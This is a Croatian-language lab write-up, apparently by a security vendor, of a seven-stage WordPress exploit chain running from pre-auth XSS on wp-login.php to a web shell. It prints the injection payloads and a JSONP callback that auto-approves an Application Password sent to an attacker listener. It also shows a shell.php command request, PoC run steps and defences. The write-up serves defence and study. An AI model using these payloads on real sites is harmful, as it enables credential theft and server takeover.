XSS2Shell: Od nule do ljuske na WordPressu

Praktični vodič kroz lanac XSS-a prije autentifikacije koji može eskalirati do daljinskog izvršavanja koda na WordPress Coreu, demonstriran na lokalnom Docker labu.

Samo ovlašteno testiranje.

Sve ispod izvođeno je protiv lokalnog laboratorija (WordPress 7.0.2 na localhos). Ne koristite ove tehnike protiv sustava koje ne posjedujete ili za koje nemate izričito dopuštenje za testiranje.

Sažetak za rukovodstvo

XSS2Shell nije jedna jedina greška — to je sedmostupanjski eksploatacijski lanac koji počinje jednim znakom (< nakon kojeg slijedi razmak) koji zaobilazi dva različita HTML parsera na WordPress stranici za prijavu, a završava s PHP-om koji se izvršava na poslužitelju kao www-data.

Što ga čini opasnim:

  1. Faza 1 ne zahtijeva nikakvu autentifikaciju — bilo tko može pokrenuti JavaScript na wp-login.php.
  2. Nalazi se u WordPress jezgri — nije dodatak; praktički svaka podržana instalacija od 2016. je pogođena.
  3. Koristi Wordpressov vlastiti kod — user-profile.js, REST JSONP, lozinke aplikacija, učitavanje dodatka — kao alate.
  4. Puni RCE je demonstriran i priznat od strane WordPressa — iako zahtijeva navodenje prijavljenog administratora na jedan klik.

Ovaj članak prolazi kroz svaku fazu s snimkama zaslona iz našeg lokalnog laba.

Laboratorijsko okruženje

git clone <this-repo> cd xss2shell make up # WordPress 7.0.2 na http://localhost:9080
ComponentURLCredentials
Vulnerable WordPresshttp://localhost:9080admin / admin123!
Patched comparisonhttp://localhost:9081(optional)
Attacker listenerhttp://127.0.0.1:9090started by PoC script

WordPress login page — the attack surface
WordPress login page — the attack surface

Svaka WordPress stranica izlaže /wp-login.php. Ta stranica je ulazna točka cijelog lanca.

Faza 0: Razlika u parseru (temeljni uzrok)

Kada prijava ne uspije, WordPress prikazuje uneseno korisničko ime unutar poruke o pogrešci. Korisničko ime prolazi kroz dva sanitizatora koji se ne slažu oko toga što je "tag":

LayerFunctionSees < area as…
PHPstrip_tags()Plain text (space after < = not a tag)
WordPress KSESwp_kses_post()Valid HTML element

Payload koristi razmak nakon<:

< area id=demo-marker>< div id=color-picker class=reset-pass-submit>< button class="wp-generate-pw color-option">X

Na ranjivom WordPressu 7.0.2, ovo preživljava sanitizaciju i postaje živi DOM:

./scripts/demo-parser-diff.sh http://localhost:9080
Terminal output showing injected HTML elements in the response
Terminal output showing injected HTML elements in the response

Na zakrpanom WordPressu 7.0.4, isti payload je HTML-escapiran u poruci o pogrešci — bez živih elemenata.

Ova greška postoji od WordPressa 4.7 (2016.) i prošla je nezapaženo kroz godine sigurnosnih revizija.

Faza 1: XSS prije autentifikacije (nije potrebna prijava)

Ubačeni DOM čvorovi odgovaraju selektorima koje WordPressov vlastiti user-profile.js traži na stranici za prijavu (učitan za tijek resetiranja lozinke):

  1. .reset-pass-submit .wp-generate-pw se automatski klikne pri učitavanju stranice
  2. Klik se širi do delegiranog rukovatelja #color-picker-a
  3. Provjera zaštite user_id === checkuser_id prolazi jer su oba undefined
  4. jQuery šalje POST na ajaxurl — ali ajaxurl ne postoji na stranici za prijavu…

Osim ako ga ne pregazimo:

<area id=ajaxurl href=/?rest_route=/&_method=GET&_jsonp=alert&_envelope=1>

Element <area id=ajaxurl> postaje window.ajaxurl. jQuery poziva .toString() → vraća href. WordPress REST vraća JSONP → jQuery globalEval() → alert()se izvršava na WordPress izvoru.

Stage 1 demo page
Stage 1 demo page

Pošaljite obrazac (ili otvorite demo/stage1-preauth-xss.html i kliknite Pokreni fazu 1):

Login page after XSS payload — injected markup reflected in error, JS executes
Login page after XSS payload — injected markup reflected in error, JS executes

Utjecaj samo ove faze: phishing vjerodajnica na stvarnoj domeni, session riding, API pozivi s istim izvorom — bez ikakve autentifikacije.

Faza 2: Socijalni inženjering — klik administratora

Faze 2–7 zahtijevaju da prijavljeni administrator otvori stranicu pod kontrolom napadača. To je prepreka koja drži CVSS ispod 10 — ali je realna u ciljanim napadima.

Administrator može primiti: "Vaša sesija je istekla — kliknite ovdje za ponovnu autentifikaciju."

Simulated phishing lure page
Simulated phishing lure page

Kada se klikne, stranica napadača:

  1. Otvara podređeni popup (about:blank)
  2. Preusmjerava glavni prozor na WordPress stranicu za autorizaciju lozinke aplikacije
  3. Upisuje XSS obrazac u podređeni skočni prozor i automatski ga šalje na wp-login.php
Admin dashboard — victim is already logged in
Admin dashboard — victim is already logged in

Faza 3: Izvršavanje metode istog izvora (SOME) — automatsko odobravanje

XSS payload podređenog prozora mijenja JSONP povratni poziv s alert u:

window.opener.approve.click

WordPress REST omata odgovor:

/**/window.opener.approve.click({...})

Izvođenje razrješava window.opener (nadređeni prozor) → .approve (gumb #approve) → .click(). Gumb Odobri lozinku aplikacije klikne se automatski — bez interakcije korisnika na toj stranici.

Application Password authorization page — the approve button (id=approve) is the SOME target
Application Password authorization page — the approve button (id=approve) is the SOME target

Primijetite URL povratnog poziva na stranici: vjerodajnice će biti poslane na http://127.0.0.1:9090/callback?...&password=[------].

Faza 4: Dohvaćanje lozinke aplikacije

WordPress stvara novu lozinku aplikacije i preusmjerava na napadačev success_url s vjerodajnicom u nizu upita:

http://127.0.0.1:9090/callback ?site_url=http://localhost:9080 &user_login=admin &password=XXXX XXXX XXXX XXXX XXXX XXXX

Napadač sada ima HTTP Basic auth vjerodajnice za WordPress REST API — iz administratorove vlastite sesije, bez ikakvog unosa administratora nakon početnog klika na poveznicu.

Faza 5: Objava stranice pod kontrolom napadača

Koristeći ukradenu lozinku aplikacije, napadač šalje POST zahtjev na /wp-json/wp/v2/pages i objavljuje stranicu s ugrađenim JavaScriptom. Administratori imaju mogućnost unfiltered_html — script oznake preživljavaju.

Faza 6: Postavljanje dodatka putem administratorske sesije

Napadačev JavaScript (koji se izvršava u administratorovom pregledniku na objavljenoj stranici):

  1. Dohvaća /wp-admin/plugin-install.php?tab=upload radi nonce vrijednosti za postavljanje
  2. Šalje POST zahtjev sa zlonamjernim ZIP-om na /wp-admin/update.php?action=upload-plugin
  3. WordPress ga raspakirava u wp-content/plugins/xss2shell/

Dodatak ne mora biti aktiviran. PHP datoteke u direktoriju dodatka izravno su dostupne putem weba.

Faza 7: Daljinsko izvršavanje koda

GET /wp-content/plugins/xss2shell/shell.php?cmd=whoami

Odgovor:

{ "rce": true, "user": "www-data", "output": "www-data\n" }
Shell endpoint returning command output
Shell endpoint returning command output

Napadač sada izvršava proizvoljne naredbe kao korisnik web poslužitelja — čita wp-config.php (vjerodajnice baze podataka), ispušta bazu podataka, lateralno se širi.

Potpuni terminal izlaz PoC-a:

XSS2Shell PoC completing the chain
XSS2Shell PoC completing the chain

Cijeli lanac na prvi pogled

sequenceDiagram participant A as Attacker server participant V as Victim browser participant W as WordPress 7.0.2 Note over V,W: Admin is logged in V->>A: Opens phishing link (1 click) A->>V: Attacker HTML + child popup V->>W: Main window → authorize-application.php V->>W: Child POSTs XSS payload to wp-login.php W->>V: JSONP executes window.opener.approve.click Note over V,W: Approve button clicked automatically W->>A: Redirect with Application Password A->>W: REST API publish page (Basic auth) V->>W: Admin visits page → uploads plugin ZIP V->>W: GET shell.php?cmd=whoami W-->>A: www-data

Koliko je to zapravo opasno?

Što je zajamčeno (visoka pouzdanost)

PropertyValue
Authentication for XSSNone
Affected installsAll WordPress 4.7+ before patch
Default-config exploitabilityStage 1 works out of the box
User interaction for XSSVictim visits attacker URL

Što zahtijeva dodatne uvjete (put do RCE-a)

ConditionNotes
Logged-in administratorMust have active WP session
Social engineeringAdmin must click attacker link
Application Passwords enabledDefault since WP 5.6; needs HTTPS or local env
Popup not blockedBrowser must allow window.open from user gesture

Kalibracija ozbiljnosti

MetricValueInterpretation
CVSS 4.08.9 HighFull chain impact scored; not Critical because of UI:A
CVSS 3.16.1 MediumOlder scoring undervalues chained impact
EPSS~0.77%Low predicted mass exploitation (Aug 2026)
CISA KEVNot listedNo confirmed in-the-wild mass exploitation yet
Public PoCsMultiple on GitHubExploitation window may shrink

Zaključak: Ovo nije crvojivi RCE bez klika poput Log4Shell. Jest duboko tehnička ranjivost na razini jezgre koja zahvaća ~43% weba gdje:

  • Sama faza 1 predstavlja ozbiljan pre-auth XSS na stranici za prijavu
  • Cijeli lanac pretvara jedan administratorov klik u kompromitaciju poslužitelja
  • Temeljni uzrok (razlika u parserima) primjenjuje se na svaki kod koji koristi više HTML parsera

WordPressovo vlastito savjetovanje navodi da RCE zahtijeva "uvjete izvan napadačeve kontrole" i "uspješno socijalno inženjerstvo." To je točno — ali demonstrirani lanac čini te uvjete ostvarivima s jednom jedinom poveznicom.

Reproducirajte cijeli lanac lokalno

# 1. Start lab make up # 2. Enable Application Passwords on HTTP (lab only) docker exec xss2shell-wordpress-1 bash -c \ "grep -q WP_ENVIRONMENT_TYPE /var/www/html/wp-config.php || \ sed -i \"/That's all, stop editing/i define( 'WP_ENVIRONMENT_TYPE', 'local' );\" /var/www/html/wp-config.php" # 3. Start PoC listener python3 xss2shell_poc.py -t http://localhost:9080 --lhost 127.0.0.1 --lport 9090 -c "whoami" --keep # 4. In browser: # a. Log in as admin at http://localhost:9080/wp-login.php # b. Open http://127.0.0.1:9091/phishing-sim.html # c. Click "Open attacker page" (allow popups) # d. Wait for terminal output showing shell + whoami

Obrana

PriorityAction
ImmediateUpdate to WordPress 7.0.3 or your branch's patched release (full list)
Verify./scripts/demo-parser-diff.sh should show no injected elements
HardenDisable Application Passwords if unused; restrict plugin uploads; enforce 2FA for admins
MonitorWatch for failed-login usernames containing < area patterns
WAFBlock < area / < div patterns on wp-login.php POST bodies

Ispravak dodaje esc_html() korisničkom imenu u putanji pogreške prijave — osiguravajući da se niz tretira kao tekst, a ne ponovno parsira kao HTML.

Zašto je ovo važno za sigurnosna istraživanja

Svaka karika u lancu je pojedinačno dosadna:

  • Diferencijal parsera → nisko ozbiljna administracija
  • Pogrešna skripta učitana na stranici za prijavu → nisko
  • JSONP povratni poziv validiran regexom → srednje
  • Lozinka aplikacije u URL-u preusmjeravanja → srednje
  • Direktorij dodataka izvršava PHP bez aktivacije → poznati dizajn

Sastavljeni, oni su CVSS 8.9 i shell.

Pouka: pri procjeni XSS nalaza, pitajte se "što je već učitano na ovoj stranici i što će učiniti ako mu predam prave DOM čvorove?" Ozbiljnost je svojstvo lanca, a ne pojedinačne greške.

Reference

Pitajte AI o CyberTestedu

Neka ChatGPT, Gemini, Grok ili Perplexity podijele ono što znaju. Kliknite gumb i pogledajte što vaša omiljena umjetna inteligencija kaže o CyberTested.

Odaberite regiju i jezik

Regija
Jezik
Želite li vidjeti CyberTested u akciji?
Rezervirajte besplatnu demonstraciju